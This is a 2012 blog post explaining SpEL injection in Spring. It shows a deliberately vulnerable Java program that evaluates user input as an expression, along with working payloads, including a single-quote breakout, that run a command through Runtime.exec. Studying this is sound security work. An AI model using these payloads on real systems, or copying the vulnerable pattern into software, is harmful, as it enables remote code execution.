Wednesday, September 12, 2012

Theoretical vulnerabilities using the Spring Expression Language

The past two days, I have been taking Core Spring training (work paid for it, why not). Our instructor ended up bringing up the Spring Expression Language (or SpEL), and showed us how it could be used to parse values and various other things.

While playing around with it, I was curious if I could evaluate java code at runtime that could execute calc.exe and after a few minutes of tinkering, I was able to execute calc.exe via the Spring Expression Language. It was easy enough:

ExpressionParser p = new SpelExpressionParser(); 
Expression e = p.parseExpression("T(Runtime).getRuntime().exec('calc.exe')"); //set expression to eval 
e.getValue(); //eval

Once I had this bit figured out, I realised the potential for Remote Command Execution via the expression language. The way to get a program using the Spring Expression Language to evaluate unintended code is very similar to the way a SQL injection works, but there are some catches and nuances, and I will go over them here. This whole post is theoretical only, as I have never actually come across this vulnerability before. However, it would be easy for a programmer not completely familiar with how the expression language works to write vulnerable code that allowed remote code execution.

For instance, take the following code:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.util.Assert;
import org.apache.commons.logging.LogFactory; 
import java.io.*;
import java.util.Date;

public class main {

 /**
  * @param args
  * @throws Exception 
  */
 public static void main(String[] args) throws Exception {
  // TODO Auto-generated method stub
  ExpressionParser parser = new SpelExpressionParser();

  System.out.println("Please enter a date and I will parse it:");
  java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
         String line = stdin.readLine();
  Expression exp = parser.parseExpression(line);  
  Date date = (Date)exp.getValue();

  System.out.println(date.toString());
 }
}

The vulnerability is obvious, the program does no checking whatsoever to ensure the user isn't inputing something they shouldn't. Simply typing:

T(Runtime).getRuntime().exec('calc.exe')

would execute calc.exe, then error out since the string you passed in is obviously not a Date.

Let's take the vulnerability a step further though. Let's modify the above code slightly.

Turn the following:
Expression exp = parser.parseExpression(line);

into:
Expression exp = parser.parseExpression("'" + line + "'");


This code change technically fixes a bug in our code. In the previous code, if the user entered a Date that was not surrounded by single-quotes, then the application would error out. By adding the single-quotes in our code, the user can enter the Date value without the single-quotes. This also makes it a bit more difficult to exploit, however not impossible. In order to exploit this new code, we can think about this vulnerability as if it were a SQL injection vulnerability, with a few catches.

We need to make a semantically-correct string that will be eval'ed that will "break out" of the current quotes that we have added to the codebase. To do this, we can use some of the operators at our disposal that the Spring Expression Language has.

My first attempt to exploit the new code was to use the 'and' operator. This was fruitless since Java is a strongly-typed language and Java was trying to evaluate the strings as boolean values, which did not work. After a few more minutes, I figured out how to break out of the quotes and have Spring evaluate and execute my payload:

02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + '

The resulting string that gets eval'ed is this:
'02/12/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ''

Basically, I am asking Spring to evaluate whether the string to the left of my == operator is the same as my payload, which must be evaluated and executed before the comparison can happen. calc.exe gets executed and now I am happy.

You may find the full code examples here and here.